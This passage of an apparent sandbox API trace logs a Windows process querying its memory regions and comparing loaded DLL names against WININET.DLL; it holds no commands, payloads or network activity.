hHeap=0x2390000) returned 1 [0073.583] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77340000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x77340000, AllocationBase=0x77340000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.583] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.583] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x769e0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x769e0000, AllocationBase=0x769e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.583] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.583] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75450000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x75450000, AllocationBase=0x75450000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.583] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.583] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75220000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x75220000, AllocationBase=0x75220000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.583] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.583] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.583] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.583] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.584] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.584] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.584] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.584] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.584] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.584] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.585] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.585] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.585] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.585] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.585] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.585] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.585] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.586] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.586] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.586] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.586] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.586] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.586] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.586] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.586] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.587] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.587] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.587] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.587] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.587] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.587] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.588] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.588] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.588] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.588] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.588] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.588] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.588] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.588] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.589] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.589] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.589] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.589] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0073.589] lstrcmpiA (lpString1="SspiCli.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="bcrypt.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="pcwum.dll", lpString2="WININET.DLL") returned -1 [0073.589] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278eb48 | out: hHeap=0x2390000) returned 1 [0073.589] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x764e0000, lpBuffer=0x26fce4, dwLength=0x1c | out: lpBuffer=0x26fce4*(BaseAddress=0x764e0000, AllocationBase=0x764e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0073.589] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc98, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc98, ReturnLength=0x0) returned 0x0 [0073.589] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278eb48 [0073.589] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.589] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="WININET.DLL") returned -1 [0073.590] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754e0000, lpBuffer=0x26fce4, dwLength=0x1c | out: 